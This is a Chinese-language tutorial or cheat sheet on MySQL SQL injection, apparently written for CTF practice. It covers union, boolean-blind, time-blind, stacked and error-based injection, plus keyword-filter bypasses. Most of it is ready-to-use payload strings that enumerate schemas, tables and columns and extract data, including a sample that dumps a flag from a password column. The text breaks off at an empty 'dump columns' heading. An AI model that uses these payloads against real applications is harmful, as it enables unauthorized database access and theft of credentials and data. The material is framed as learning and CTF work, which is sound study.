SQL注入分类:

  • 回显正常
    • 联合查询 union select
  • 回显报错
    • Duplicate entry()
    • extractvalue()
    • updatexml()
  • 盲注
    • 布尔型盲注
    • 基于时间的盲注sleep()

联合注入

联合语句是用来联合多个表进行查询。是将多个表合成为一个表。而在SQL注入中,联合查询的作用是:在已有的系统语句上,通过联合查询可以查询到数据库中的其他内容

这里注意:联合查询时,输出的列数(字段数)需要一致才能成功,否则会报错 The used SELECT statements have a different number of columns

使用例子

1
2
语句1 union all 语句2
语句1 union 语句2

union 和 union all 有细微差别,但影响不大都可以用:

  • union:对两个结果集进行并集操作,不包括重复行,同时进行默认规则的排序;

  • union all:对两个结果集进行并集操作,包括重复行,不进行排序;

当将语句 1 返回 false 时,才会显示语句 2 的查询结果,判断显示位时就是利用这一点。

思路顺序

假设有 username 和 password 两个注入点,下面选择用 username 注入

判断注入点

判断注入类型

整数型查询 demo :select * from tablename where id = $_GET[‘id’]

字符型查询 demo :select * from tableName where username=’$_GET[‘username’]’ and username=’$_GET[‘password’]’

假设正常查询 ?username=1 ,然后拼接两次查询:

1
2
?username=1 and 1=1
?username=1 and 1=2

前后页面(查询结果)没有变化是字符型。前后页面(查询结果)有变化是整数型。

判断闭合符

整数型就不用什么闭合符了,直接加上 union :

1
?username=1 union 语句2

字符型就需要判断闭合符号是什么,然后再加上注释符 # 将后面的闭合符号注释,使注入语句脱离闭合符号。(URL中 %23 为 # 的编码)

常见的闭合方式有:''""()('')("")

测试方法:在前面测试类型语句加上闭合符。如果页面(查询结果)有变化,那么闭合符就是当前语句中的。

当添加闭合符,然后使用下面两个 payload 检测都能显示结果,则是闭合符不正确。

1
2
3
4
//显示结果
?username=1' and 1=1#
//不显示结果
?username=1' and 1=2#

万能密码就是测试闭合符号最好的例子

判断显示位

语句 1 设置查询错误的语句,显示语句 2 查询结果

1
?username=-1' union select 1,2,3,...#

判断字段数

利用 order by 对查询结果按照指定字段进行排序,可以用字段名,也可以用字段的栏位来进行指定,第一个字段为 1,第二个字段为 2 以此类推。

NUM 是字段数,取能够正常查询的最大值就是字段数:

1
?username=admin' order by NUM#

超出字段数报错:Unknown column ‘NUM’ in ‘order clause’

查询信息

以下查询基于有 3 个回显点,1 不显示在页面上,因此将需要查询内容安排在 3

联合查询的语句 2 要放在回显位最后,不然语句 2 拼接有 sql 错误

  • 查询数据库名

    查询 sql 服务器全部数据库名

    1
    ?username=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata#

    查询执行 sql 语句的数据库名

    1
    ?username=-1' union select 1,database(),3#
  • 查询表名

    查询 sql 服务器指定数据库表名

    1
    ?username=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'#

    查询执行 sql 语句的数据库表名

    1
    ?username=-1' union select 1,2,group_concat(table_name)#
  • 查字段

    1
    ?username=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'#
  • 查数据

    1
    ?username=1' union select 1,2,group_concat(字段1,字段2,...) from (数据库名.表名)#

参考资料

盲注

联合注入时,查询页面没有显示位时考虑使用盲注。

布尔盲注

定义

  • 布尔型盲注是 SQL 盲注的一种,就是再进行 SQL 注入的时候, WEB 页面仅返回 true 或 false ,或者页面有无返回结果
  • 布尔型盲注会根据 web 页面返回的 true 或 false 信息,对数据库中的信息进行猜解,并获取数据库中的相关信息

相关函数

substr()、substring()、mid()

  • 说明:用来截取字符串中的一部分,在各个数据库中的函数名称是不一样的
  • 使用方式(以substr为例):substr(arg1,int1,int2),arg1为被选取的字符串,int1为截取开始的位置,int2为截取长度
    表示:从int1开始的位置,截取int2个字符,注意:int1是从1开始的,不是从0开始的。
  • 举例:数据库名字为:users,执行命令:select substr(database(),1,3) 返回结果为use (从第1位开始,到第3位结束)

length()

  • 说明:获取字符串长度
  • 使用方法:length(arg1),arg1代表字符串
  • 举例:数据库名字为:users
  • 执行命令:select length(database()); 结果:5(数据库长度为5)

ascii() 、ord()

  • 说明:将单一字符,转化为ascii码值
  • 使用方式:ascii(str),str代表字符
  • 举例:执行命令:select ascii(‘a’); 结果:97(a的ascii码值)

left()

  • 说明:返回具有指定长度的字符串的左边部分。
  • 使用方法:left(Str,length) str代表字符,length代表要查看具体左边字符的长度。
  • 举例:执行命令:数据库名为 users select left(database(),3) 结果为:use

regexp()

  • 说明:利用正则表达式查询匹配
  • 使用方法:select user() regexp ‘^ro’; 利用正则表达式判断user是否为’ro’开始
  • 自mysql 3.23.4版本后,正则不区分大小写,如果需要区分大小写的话,可以使用 BINARY 关键字,例如:select ‘Hello’ regexp binary ‘^h’;

获得数据库信息的过程

未整理,基础脚本:sql_injection_blind_Normal.py

  1. 获得数据库的长度
    说明:通过页面回显判断数据库名长度
    举例:数据库名为security

    1
    2
    3
    and (length(database()))>7 →有回显,说明数据库长度>7
    and (length(database()))>8 →无回显,说明数据库长度<=8
    and (length(database()))=8 →有回显,说明数据库长度=8
  2. 获得数据库名
    说明:通过改变n和m获取数据库的字符
    方法:and ascii(substr(database(),n,1))=m (n为位数,m为ascii码值)
    举例:数据库名为security

    1
    2
    and ascii(substr(database(),1,1))=97→无回显,说明数据库名第一位的ascii码不是97
    and ascii(substr(database(),1,1))=115→有回显,说明数据库名第一位的ascii码是115
  3. 获取数据库的表个数

    方法:and (select count(*) from information_schema.tables where table_schema=database())>n
    改变n的值,并结合页面回显判断表的个数
    举例:如下案例有回显说明数据库中有4个表

    1
    and (select count(*) from information_schema.tables where table_schema=database())=4
  4. 获得数据库表名长度
    方法:and (select length(table_name) from information_schema.tables where table_schema = database() limit n,1)>m
    需要用limit来限制表的个数,每次读取一个表。
    举例:如下有回显,说明数据库中,第一张表的长度为6位。

    1
    and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1)=6
  5. 获得数据库表名
    方法:用limit限制表的个数和字符的个数
    and ascii((substr((select table_name from information_schema.tables where table_schema=database() limit x,1),y,1)))=z
    举例:如下有回显,说明数据库中,第一张表的第一个字符ascii码值<100

    1
    and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<100
  6. 获取列名(先获取列名个数,再获取列名长度,最后获取列名)

    1
    and (ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1)1,1)))>100 #
  7. 获得数据

    1
    and (ascii (substr((select 列名 from 数据库名.表名 limit 0,1),1,1)))=68 #

时间盲注

注入流程:

  1. 判断注入
    1
    2
    3
    4
    ?id=1 and if(1=1,sleep(5),1)	#回显正常
    ?id=1 and if(1=2,sleep(5),1) #回显异常
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:sleep(a) 延时 a 秒
  2. 猜解数据库长度
    1
    2
    3
    4
    5
    #方式一,猜解当前数据库名长度且使用 if(),length(),sleep() 函数
    ?id=1 and if(length(database())=<int数值>,sleep(5),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:length(a)=b 截取字符串 a 的长度判断是否等于 b 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒
  3. 猜解数据库名
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    #方式一,猜解当前数据库且使用 if(),left(),sleep() 函数
    ?id=1 and if(left(database(),<int数值>)=<字符>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:left(a,b)=c 从左侧截取字符串 a 的前 b 位正则判断是否等于 c 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式二,猜解当前数据库且使用 if(),like,sleep() 函数
    ?id=1 and if(database() like '<字符>%',sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:a like 'b%' 模糊判断 b 是否等于字符串 a 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式三,猜解当前数据库且使用 if(),mid(),sleep() 函数
    ?id=1 and if(mid(database(),<int数值>,<int数值>)=<字符>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:mid(a,b,c)=d 从 b 位开始,截取字符串 a 的 c 位正则判断是否等于 d 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式四,猜解当前数据库且使用 if(),substr(),sleep() 函数
    ?id=1 and if(substr(database(),<int数值>,<int数值>)=<字符>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:substr(a,b,c)=d 从 b 位开始,截取字符串 a 的 c 位正则判断是否等于 d 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式五,猜解当前数据库且使用 if(),ascii(),mid(),sleep() 函数
    ?id=1 and if(ascii(mid(database(),<int数值>,<int数值>))=<int数值>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:ascii(mid(a,b,c))=d 首先从 b 位开始,截取字符串 a 的 c 位且转换成ascii码然后正则判断是否等于 d 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式六,猜解当前数据库且使用 if(),ord(),substr(),sleep() 函数
    ?id=1 and if(ord(substr(database(),<int数值>,<int数值>))=<int数值>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:ord(ord(a,b,c))=d 首先从 b 位开始,截取字符串 a 的 c 位且转换成ascii码然后正则判断是否等于 d 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #注:ascii() = ord() / mid() = substr()
  4. 猜解表名
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    #方式一,猜解当前数据库第一张表的表名,使用 if(),left(),sleep() 函数
    ?id=1 and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),<int数值>)=<字符>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:left(a,b)=c 从左侧截取字符串 a 的前 b 位正则判断是否等于 c 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式二,猜解当前数据库第一张表的表名,使用 if(),like,sleep() 函数
    ?id=1 and if((select table_name from information_schema.tables where table_schema=database() limit 0,1) like '<字符>%',sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:a like 'b%' 模糊判断 b 是否等于字符串 a 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式三,猜解当前数据库第一张表的表名,使用 if(),mid(),sleep() 函数
    ?id=1 and if(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),<int数值>,<int数值>)=<字符>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:mid(a,b,c)=d 从 b 位开始,截取字符串 a 的 c 位正则判断是否等于 d 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式四,猜解当前数据库第一张表的表名,使用 if(),substr(),sleep() 函数
    ?id=1 and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),<int数值>,<int数值>)=<字符>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:substr(a,b,c)=d 从 b 位开始,截取字符串 a 的 c 位正则判断是否等于 d 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式五,猜解当前数据库第一张表的表名,使用 if(),ascii(),mid(),sleep() 函数
    ?id=1 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),<int数值>,<int数值>))=<int数值>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:ascii(mid(a,b,c))=d 首先从 b 位开始,截取字符串 a 的 c 位且转换成ascii码然后正则判断是否等于 d 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式六,猜解当前数据库第一张表的表名,使用 if(),ord(),substr(),sleep() 函数
    ?id=1 and if(ord(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),<int数值>,<int数值>))=<int数值>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:ord(ord(a,b,c))=d 首先从 b 位开始,截取字符串 a 的 c 位且转换成ascii码然后正则判断是否等于 d 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #注:ascii() = ord() / mid() = substr()
  5. 猜解字段名
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    #方式一,猜解指定数据库,指定表的第一个字段名,使用 if(),left(),sleep() 函数
    ?id=1 and if(left((select column_name from information_schema.columns where table_schema='<数据库名>' and table_name='<表名>' limit 0,1),<int数值>)=<字符>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:left(a,b)=c 从左侧截取字符串 a 的前 b 位正则判断是否等于 c 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式二,猜解当前数据库第一张表的表名,使用 if(),like,sleep() 函数
    ?id=1 and if((select column_name from information_schema.columns where table_schema='<数据库名>' and table_name='<表名>' limit 0,1) like '<字符>%',sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:a like 'b%' 模糊判断 b 是否等于字符串 a 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式三,猜解当前数据库第一张表的表名,使用 if(),mid(),sleep() 函数
    ?id=1 and if(mid((select column_name from information_schema.columns where table_schema='<数据库名>' and table_name='<表名>' limit 0,1),<int数值>,<int数值>)=<字符>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:mid(a,b,c)=d 从 b 位开始,截取字符串 a 的 c 位正则判断是否等于 d 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式四,猜解当前数据库第一张表的表名,使用 if(),substr(),sleep() 函数
    ?id=1 and if(substr((select column_name from information_schema.columns where table_schema='<数据库名>' and table_name='<表名>' limit 0,1),<int数值>,<int数值>)=<字符>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:substr(a,b,c)=d 从 b 位开始,截取字符串 a 的 c 位正则判断是否等于 d 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式五,猜解当前数据库第一张表的表名,使用 if(),ascii(),mid(),sleep() 函数
    ?id=1 and if(ascii(mid((select column_name from information_schema.columns where table_schema='<数据库名>' and table_name='<表名>' limit 0,1),<int数值>,<int数值>))=<int数值>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:ascii(mid(a,b,c))=d 首先从 b 位开始,截取字符串 a 的 c 位且转换成ascii码然后正则判断是否等于 d 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式六,猜解当前数据库第一张表的表名,使用 if(),ord(),substr(),sleep() 函数
    ?id=1 and if(ord(substr((select column_name from information_schema.columns where table_schema='<数据库名>' and table_name='<表名>' limit 0,1),<int数值>,<int数值>))=<int数值>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:ord(ord(a,b,c))=d 首先从 b 位开始,截取字符串 a 的 c 位且转换成ascii码然后正则判断是否等于 d 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #注:ascii() = ord() / mid() = substr()
  6. 猜解字段数据
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    #方式一,猜解指定数据库、指定表、指定字段的第一行字段数据,使用 if(),left(),sleep() 函数
    ?id=1 and if(left((select <字段名> from <库名>.<表名> limit 0,1),<int数值>)=<字符>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:left(a,b)=c 从左侧截取字符串 a 的前 b 位正则判断是否等于 c 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式二,猜解当前数据库第一张表的表名,使用 if(),like,sleep() 函数
    ?id=1 and if((select <字段名> from <库名>.<表名> limit 0,1) like '<字符>%',sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:a like 'b%' 模糊判断 b 是否等于字符串 a 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式三,猜解当前数据库第一张表的表名,使用 if(),mid(),sleep() 函数
    ?id=1 and if(mid((select <字段名> from <库名>.<表名> limit 0,1),<int数值>,<int数值>)=<字符>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:mid(a,b,c)=d 从 b 位开始,截取字符串 a 的 c 位正则判断是否等于 d 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式四,猜解当前数据库第一张表的表名,使用 if(),substr(),sleep() 函数
    ?id=1 and if(substr((select <字段名> from <库名>.<表名> limit 0,1),<int数值>,<int数值>)=<字符>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:substr(a,b,c)=d 从 b 位开始,截取字符串 a 的 c 位正则判断是否等于 d 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式五,猜解当前数据库第一张表的表名,使用 if(),ascii(),mid(),sleep() 函数
    ?id=1 and if(ascii(mid((select <字段名> from <库名>.<表名> limit 0,1),<int数值>,<int数值>))=<int数值>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:ascii(mid(a,b,c))=d 首先从 b 位开始,截取字符串 a 的 c 位且转换成ascii码然后正则判断是否等于 d 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #方式六,猜解当前数据库第一张表的表名,使用 if(),ord(),substr(),sleep() 函数
    ?id=1 and if(ord(substr((select <字段名> from <库名>.<表名> limit 0,1),<int数值>,<int数值>))=<int数值>,sleep(),1)
    #注:if(a,b,c) 判断 a 是否为TrueTrue则返回 b ,False则返回 c
    #注:ord(ord(a,b,c))=d 首先从 b 位开始,截取字符串 a 的 c 位且转换成ascii码然后正则判断是否等于 d 等于则返回True否则返回False
    #注:sleep(a) 延时 a 秒

    #注:ascii() = ord() / mid() = substr()

关键词过滤绕过

双写

假如过滤 or ,后端会将 or 替换为 (空),那么双写 or 绕过:

1
oorr ==> or

or /and过滤绕过

or / and 关键词被过滤,使用 ^ \ () 绕过。

^ 在 sql 是按位与,前后值与操作返回值是 True 。后面拼接上去的是要函数,尝试拼接表达式(^(1=1))或者布尔值(^1)都不行,需要拼接函数表达式。

1
2
3
admin' or 1=1#
admin' ^ database()#
admin' ^ select flag from users.passwd#

= 过滤绕过

使用 like() 绕过

1
2
3
admin' or 1=1#
admin' or (1)like(1)#
admin' or user_id like(1)#

空格过滤绕过

使用 () 绕过

1
2
3
admin' or 1=1#
admin'or(1=1)#
admin'or(select(flag)from(users.passwd))#

堆叠注入

堆叠注入为攻击者提供了很多控制权,与仅限于 SELECT 语句的 联合注入 (union injection)攻击不同,堆叠注入可以用于执行任何SQL语句。
联合注入(union injection)是将两条语句合并在一起,union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

原理

sql 分号 ; 表示一条语句的结束。如果在分号 ; 的后面再加一条语句,这条语句也可以被执行,这样就可以在一次数据库的调用中执行多个语句。

1
select * from users where id =1;show databases;

局限性

堆叠注入并不是在每种情况下都能使用的。可能因为API或数据库引擎的不支持,堆叠注入都无法实现。
image.png
代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用联合注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

常用语句

  • 查询数据库

    1
    select flag from FLAG;show databases;
  • 查询表

    1
    select flag from FLAG;show tables;

题目

参考文章

报错注入

报错注入定义

SQL 报错注入基于报错的信息获取,虽然数据库报错了,当我们已经获取到我们想要的数据。例如在增加删除修改处尝试( insert/update/delete )。

使用前提

后台没有屏蔽数据库报错信息,在语法发生错误的时候,错误信息会输出在前端。

常见报错函数

  • updatexml():是mysql对xml文档数据进行查询和修改的xpath函数
  • extractvalue():是mysql对xml文档数据进行查询的xpath函数
  • floor():mysql中用来取整的函数
  • exp():此函数返回e(自然对数的底)指数X的幂值

xpath报错注入(updatexml、extractvalue)

在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:

  • updatexml()
  • extractvalue()

当这两个函数在执行时,如果出现 xml 文档路径错误就会产生报错

extractvalue

extractvalue 从目标 XML 中返回包含所查询值的字符串

  • 语法:extractvalue(XML_document,xpath_string)
    • 第一个参数:string格式,为XML文档对象的名称
    • 第二个参数:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

extractvalue 使用时,当 xpath_string 格式出现错误,mysql 则会报出 xpath 语法错误(xpath syntax)

例如:select user,password from users where user_id=1 and (extractvalue(1,0x7e)); 由于 0x7e 就是 ~ 不属于 xpath 语法格式,因此报出 xpath 语法错误。

报错注入语句格式
1
2
?id=2 and extractvalue(0,concat(0x7e,(sql语句),0x7e))%23
?id=2 or extractvalue(null,concat(0x7e,(sql语句),0x7e))#
  • and \ or 任选,连接前后两个查询语句而已
  • 0x7e 是 ~ 用于分割数据
  • %23 是 # 看实际情况是否需要 url 编码
  • sql语句可以加 () 括住,database 那些可以不加,用到 limit 爆破表名列名需要加上不然语法错误
爆破数据库名

查询执行 sql 语句的数据库名

1
?id=2 and extractvalue(0,concat(0x7e,database(),0x7e))#

查询 sql 服务器全部数据库名

1
?id=2 and extractvalue(0,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))#
爆破表名

xpath 回显只有一位使用 limit 函数逐个爆,且最长为 32 位,超过 32 位爆不了

limit 0,1 是第一个数据 limit 1,1 是第二个数据

1
2
?id=2 and extractvalue(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e))#
?id=2 and extractvalue(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 1,1),0x7e))#

查询全部表名:

1
?id=2 and extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where table_schema=database())))#
爆破列名(字段)

假设表名为 flag

查询一个(limit 0,1):

1
2
3
4
5
# 限定数据库、表名
?id=2 and extractvalue(0,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()and table_name='flag'limit 0,1),0x7e))#

# 限定表名
?id=2 and extractvalue(0,concat(0x7e,(select column_name from information_schema.columns where table_name='flag'limit 0,1),0x7e))#

查询全部(group_concat(column_name)):

1
2
?id=2 and extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("flag"))))#
?id=2 and extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where table_name='flag')))#
爆破数据

假设表名为 flag 、列名为 flag

1
2
?id=2 and extractvalue(0,concat(0x7e,(select flag from flag limit 0,1),0x7e))#
?id=2 and extractvalue(0,concat(0x7e,(select flag from flag),0x7e))#

只显示 32 位结果,当数据长度大于 32 位时显示不完全。

  • 借助 mid()

    1
    ?id=2 and extractvalue(0,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e))#
  • 使用 left()right()

    1
    2
    3
    4
    5
    6
    #多种写法
    ?id=2 and extractvalue(0,concat(0x7e,(select left(group_concat(flag),32) from flag),0x7e))#

    ?id=2 and extractvalue(0,concat(0x7e,(select (left(group_concat(flag),32)) from flag),0x7e))#

    ?id=2 and extractvalue(0,concat(0x7e,left((select group_concat(flag) from flag)),0x7e))#
    1
    2
    3
    4
    5
    6
    #多种写法
    ?id=2 and extractvalue(0,concat(0x7e,(select right(group_concat(flag),32) from flag),0x7e))#

    ?id=2 and extractvalue(0,concat(0x7e,(select (right(group_concat(flag),32)) from flag),0x7e))#

    ?id=2 and extractvalue(0,concat(0x7e,right((select group_concat(flag) from flag)),0x7e))#
  • 使用 reverse()

    1
    2
    3
    ?id=2 and extractvalue(0,concat(0x7e,(select flag from flag),0x7e))#

    ?id=2 and extractvalue(0,concat(0x7e,reverse((select flag from flag)),0x7e))#

updatexml

updatexml 是一个使用不同的 xml 标记匹配和替换 xml 块的函数。

  • 作用:改变文档中符合条件的节点的值
  • 语法: updatexml(XML_document,XPath_string,new_value)
    • 第一个参数:是string格式,为XML文档对象的名称,文中为Doc
    • 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】
    • 第三个参数:string格式,替换查找到的符合条件的数据

updatexml 使用时,当 xpath_string 格式出现错误,mysql 则会爆出 xpath 语法错误(xpath syntax)

例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于 0x7e 是 ~ ,不属于 xpath 语法格式,因此报出 xpath 语法错误。

报错注入语句格式
1
2
?id=2 and updatexml(0,concat(0x7e,(sql语句),0x7e),1)%23
?id=2 or updatexml(null,concat(0x7e,(sql语句),0x7e),1)#
  • and \ or 任选,连接前后两个查询语句而已
  • 0x7e 是 ~ 用于分割数据
  • %23 是 # 看实际情况是否需要 url 编码
  • sql语句可以加 () 括住,database 那些可以不加,用到 limit 爆破表名列名需要加上不然语法错误
爆破数据库名
1
?id=2 and updatexml(0,concat(0x7e,database(),0x7e),1)#
爆破表名

xpath 回显只有一位使用 limit 函数逐个爆,且最长为 32 位,超过 32 位爆不了

limit 0,1 是第一个数据 limit 1,1 是第二个数据

1
2
?id=2 and updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e),1)#
?id=2 and updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 1,1),0x7e),1)#

一次性查询所有表名:

1
?id=2 and updatexml(0,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=DATABASE())),1)#
爆破列名(字段)

假设表名为 flag

1
?id=2 and updatexml(0,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()and table_name='flag'limit 0,1),0x7e),1)#

一次性查询全部字段名:

1
?id=2 and updatexml(0,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag')),1)#
爆破数据

假设表名为 flag 、列名为 flag

1
?id=2 and updatexml(0,concat(0x7e,(select flag from flag limit 0,1),0x7e),1)#

只显示 32 位结果,当数据长度大于 32 位时显示不完全。

  • 借助 mid()

    1
    ?id=2 and updatexml(0,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1)#
  • 使用 left()right()

    1
    2
    3
    4
    5
    6
    #多种写法
    ?id=2 and updatexml(0,concat(0x7e,(select left(group_concat(flag),32) from flag),0x7e),1)#

    ?id=2 and updatexml(0,concat(0x7e,(select (left(group_concat(flag),32)) from flag),0x7e),1)#

    ?id=2 and updatexml(0,concat(0x7e,left((select group_concat(flag) from flag)),0x7e),1)#
    1
    2
    3
    4
    5
    6
    #多种写法
    ?id=2 and updatexml(0,concat(0x7e,(select right(group_concat(flag),32) from flag),0x7e),1)#

    ?id=2 and updatexml(0,concat(0x7e,(select (right(group_concat(flag),32)) from flag),0x7e),1)#

    ?id=2 and updatexml(0,concat(0x7e,right((select group_concat(flag) from flag)),0x7e),1)#
    • left 参数越大显示越长,最大只能 32 ;都是从头开始显示

    • right 参数大能会不能显示字符串最后字符

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      admin'or(updatexml(0,concat(0x7e,left((select(group_concat(password))from(geek.H4rDsq1)),30)),0x7e),1)#
      flag{3eadc040-974c-4535-84ce-0

      admin'or(updatexml(0,concat(0x7e,left((select(group_concat(password))from(geek.H4rDsq1)),32)),0x7e),1)#
      flag{3eadc040-974c-4535-84ce-07

      admin'or(updatexml(0,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),32)),0x7e),1)#
      040-974c-4535-84ce-07a31c252352

      admin'or(updatexml(0,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),30)),0x7e),1)#
      0-974c-4535-84ce-07a31c252352}

floor

floor (rand(0)*2)

floor 函数的作用就是返回小于等于括号内该值的最大整数。
rand() 本身是返回 0~1 的随机数,但在后面 *2 就变成了返回 0~2 之间的随机数。配合上 floor 函数就可以产生确定的两个数,即 0 和 1 。并且结合固定的随机数种子 0 ,它每次产生的随机数列都是相同的值。

hackbar自带payload

爆数据库

+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得到数据库 sqli

爆表

?id=1+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=0x73716c69+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得出第一个表为news 修改为limit 1,1 得出为flag表

爆列名

